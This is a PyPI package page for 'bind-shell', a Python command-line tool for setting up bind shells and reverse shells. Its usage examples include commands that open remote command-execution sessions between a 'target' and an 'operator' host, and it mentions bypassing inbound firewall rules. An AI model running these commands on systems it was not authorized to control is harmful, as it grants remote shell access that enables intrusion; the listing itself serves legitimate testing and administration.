Skip to main content

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Project description

bind-shell PyPi PyPiStats

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Install

Use pipx to install globally in an isolated python environment.

pipx install bind-shell

Usage

 Usage: bind-shell [OPTIONS] COMMAND [ARGS]...

╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
│ --install-completion          Install completion for the current shell.                     │
│ --show-completion             Show completion for the current shell, to copy it or          │
│                               customize the installation.                                   │
│ --help                        Show this message and exit.                                   │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
│ server    Bind shell: bind a port and execute commands from an incoming client               │
│ client    Bind shell: connect to a server and send commands interactively                   │
│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
│ connect   Reverse shell: connect out to a listener and execute its commands                 │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯

Bind shell

In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.

On the target:

$ bind-shell server
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

On the operator:

$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

Reverse shell

In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.

On the operator:

$ bind-shell listen
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

On the target:

$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

Options

All commands accept --port (default: 4444). server and listen also accept --host to control the bind address (default: 0.0.0.0). client and connect require --password generated by server or listen.

bind-shell server --host 0.0.0.0 --port 4444
bind-shell client <ip> --port 4444 --password some-pass
bind-shell listen --host 0.0.0.0 --port 4444
bind-shell connect <ip> --port 4444 --password some-pass

Type exit or quit to close a session.

Dev Prerequisites

  • python >=3.10
  • pipx, an optional tool for prerequisite installs
  • poetry (install globally with pipx install poetry)
  • flake8 (install globally with pipx install flake8)
    • flake8-bugbear extension (install with pipx inject flake8 flake8-bugbear)
    • flake8-naming extension (install with pipx inject flake8 pep8-naming)
  • black (install globally with pipx install black)
  • pre-commit (install globally with pipx install pre-commit)
  • just, a Justfile command runner

Updating python version

  • Update python version in Dev Prerequisites above
  • Update [tool.poetry.dependencies] section of pyproject.toml
  • Update pyupgrade hook in .pre-commit-config.yaml
  • Update python version in .gitlab-ci.yml

Justfile Targets

  • install: installs poetry dependencies and pre-commit git hooks
  • update_boilerplate: fetches and applies updates from the boilerplate remote
  • test: runs pytest with test coverage report

Boilerplate

This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

bind_shell-0.1.3rc2.tar.gz (5.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

bind_shell-0.1.3rc2-py3-none-any.whl (5.8 kB view details)

Uploaded Python 3

File details

Details for the file bind_shell-0.1.3rc2.tar.gz.

File metadata

  • Download URL: bind_shell-0.1.3rc2.tar.gz
  • Upload date:
  • Size: 5.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.3rc2.tar.gz
Algorithm Hash digest
SHA256 fdf15786128f0a3ce46343fc32b6bb769f2ee12d36b5085a876100261f8830cf
MD5 89236de7448006504298212b99cdac33
BLAKE2b-256 b5d42e3aecb92c229963bf57afd41031fcceed4bc7891754360d247057eb090a

See more details on using hashes here.

File details

Details for the file bind_shell-0.1.3rc2-py3-none-any.whl.

File metadata

  • Download URL: bind_shell-0.1.3rc2-py3-none-any.whl
  • Upload date:
  • Size: 5.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.3rc2-py3-none-any.whl
Algorithm Hash digest
SHA256 b4889dd1d60597aa38acf07750a646f7ad8b059e6a23cddc48af7358ad9e27dc
MD5 d124744baad893d31f4b4afe97bc3186
BLAKE2b-256 d6b21381db84efb7b3f111eb55ada7569d24aa763c63816ad67dda76302c7ffe

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page